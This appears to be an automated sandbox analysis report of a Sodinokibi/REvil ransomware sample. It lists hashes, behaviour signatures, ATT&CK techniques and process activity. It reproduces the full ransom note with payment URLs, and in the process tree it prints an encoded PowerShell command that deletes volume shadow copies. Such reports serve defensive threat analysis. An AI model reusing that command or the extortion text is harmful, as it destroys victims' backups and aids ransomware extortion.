Overview

overview

10

Static

static

10

9ecca170d0...18.exe

windows7-x64

10

9ecca170d0...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    11-06-2024 16:25

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    9ecca170d0515fb14c8b78302b8053e7_JaffaCakes118.exe

  • Size

    166KB

  • MD5

    9ecca170d0515fb14c8b78302b8053e7

  • SHA1

    2b498759c83f05beda20adc991be476934ea0fa8

  • SHA256

    ec0c653d5e10fec936dae340bf97c88f153cc0cdf7079632a38a19c876f3c4fe

  • SHA512

    fa433c9712a8a247825d85c950f9754ec83dbf82fa5f86a2b637727362f22fcdc68cd59bb3845e1d6020d7ce5133a1916b5af0b1ed716bd6d3a696353d2df8bb

  • SSDEEP

    3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3Qt6tCIm:ZJ0BXScFy2RsQJ8zgQ

Score
10/10
sodinokibipersistenceransomware

Malware Config

Extracted

Path

C:\Recovery\How to decrypt dn4476r-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension dn4476r. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F7420F7BEFD48670 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/F7420F7BEFD48670 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: QV3C6liqdqEJuFLjoPDR8JIOGoTAVjSpjyUWmW7+Cv3yPYX9cI6kD9a+S4KPyPjm /8c5tBN/TrQ5ew5rT2j95UbnBJQ7wNDkYQgXFhEMVkQop2ZEybLdU2qt36H7ldOI nWncN8XvEAxCKrQe02MVHKYsd3TsDRVG5aYpjVhXYfuVY0k4fWe0dokg3w45WDlJ i9Mhgvvd05vPVdgbeLKKdMLe4jnfCzhjf6L6AF7jHUYq964wJMbHS8E1f2hXewnw VdNmAkZtdkKe3mjdv9bjzfEeFFztULa6Ay2baLongkRhvxHTkC2KeNu5nJrA8MDT 5XHHvUgrodjdIa/SZnBTQW+robPsOO+tC8wRZajKDG3cSNNUeM+lGLpMy1ewLyzN 5j+J5ZepAchxrgPas8Sp+2ibHWPA0b42IWNzAy5x32hauCyStp+wt7ex8+o/aj0V gl6n/3rsr89aN6MHpUD7GATaT/QWCd4PSLFNRV58J280kuo+oNxUVJIeGJkB50DZ h98XLo/OmS9YMKQq+JPuVMWN92OUmKp+DPVd2FZl6USYW5F/P5zlG3SypLC5weud +vgU0x8AosQhc9pJXQdgM9enSYCTWizeWXoAV7uZ6xPQiqxLekQAzhKYQu3gq10s JWl5TB9HZHh9VzjYPMUXfshIQJ6B2N86BUFL/PK/8K+w+zRKWmMPHYGEIGmL6MaZ w5a9DuXNvQMuMasjgZrkU6vxzvbbGnjRvISh9+c91dqPfL1GBXj58py3hScrDm4b WSzAFJtxYD6w8aNpC+s/PMwCEAyjCrw0rCu7hX5oDPF+4d+R9+9OiGIMOv+c9pVi wZE4p98hkPBCtW12XaUlDGFyCMNZr34yMzB8vhUswfLBVr2/XN9CfqIPHNU+kqY1 ICINFvlVsp5/A+PfnihYLiyA++5wEnmtb8D8V9ThzfaCKP8N4APIrE9GjO2tt4Bm xQ/eorK/DmcbMG3a1ZcySAAfgQh00+vJ04vuOcgh53pnC9tvFQIXBnpAGliK64lM E3IDsrMMCUz0wyDuKiXdgyIsoiJALS9O2LkHFntUoOQoHqSTrFeCZzUtlE6qQeQU ZM6C4stJsw23w+C5ztBSZWSPRXf/J5jrtncsT3OaV6Y3OCqQHamsUYLWd0pMxKax Jf5OvqdRYeBqmNrBKubCn/PYN3AXmZe5ofW9Qz3YrBdH3alq032O3020fvvYbF+Q vIjxIwsemG1Y7M+jyimCXaMT+Jv7zd13jyujug2CKrv1NqMgYCIZnCXdptJgYH7D 30QIzU+0wnXjzeis03HvozhlWfkggfFnifQtzAz+KzhS+hmK1gpvPDc2618a24x9 t/4Fy7X/DJg0NTRMWC+mwcVsSTMql/ll9MItZOWKyuXixw== Extension name: dn4476r ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F7420F7BEFD48670

http://decryptor.cc/F7420F7BEFD48670

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\9ecca170d0515fb14c8b78302b8053e7_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\9ecca170d0515fb14c8b78302b8053e7_JaffaCakes118.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2128
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2344
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2596
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2792
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1664

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Initial Access

    Execution

    Persistence

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Privilege Escalation

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Defense Evasion

    Modify Registry

    2
    T1112

    Credential Access

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Defacement

    1
    T1491

    Resource Development

    Reconnaissance

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Recovery\How to decrypt dn4476r-readme.txt
      Filesize

      6KB

      MD5

      66e23130ea3e7b59f0c6e9711d8a9369

      SHA1

      a9dee5e116616b8aee8cc6ede9de15346e974fcc

      SHA256

      d81d0fc36a2ed9d3f2803b86603bb2194fb10f8860515815c5ea1b35b9111b16

      SHA512

      ab2b8c9dcea7a091d198c0a4458521623c57b767452a4f65590c40c5c77cb74cc0158d5fcfec4f66090fc8103437847b9c143d0a0fcbcbac04a283a6a10f82bf

      Download Submit
    • \??\PIPE\srvsvc
      MD5

      d41d8cd98f00b204e9800998ecf8427e

      SHA1

      da39a3ee5e6b4b0d3255bfef95601890afd80709

      SHA256

      e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

      SHA512

      cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

      Download Submit
    • memory/2344-4-0x000007FEF628E000-0x000007FEF628F000-memory.dmp
      Filesize

      4KB

      Download
    • memory/2344-6-0x0000000000400000-0x0000000000408000-memory.dmp
      Filesize

      32KB

      Download
    • memory/2344-5-0x000000001B7B0000-0x000000001BA92000-memory.dmp
      Filesize

      2.9MB

      Download
    • memory/2344-7-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
      Filesize

      9.6MB

      Download
    • memory/2344-8-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
      Filesize

      9.6MB

      Download
    • memory/2344-9-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
      Filesize

      9.6MB

      Download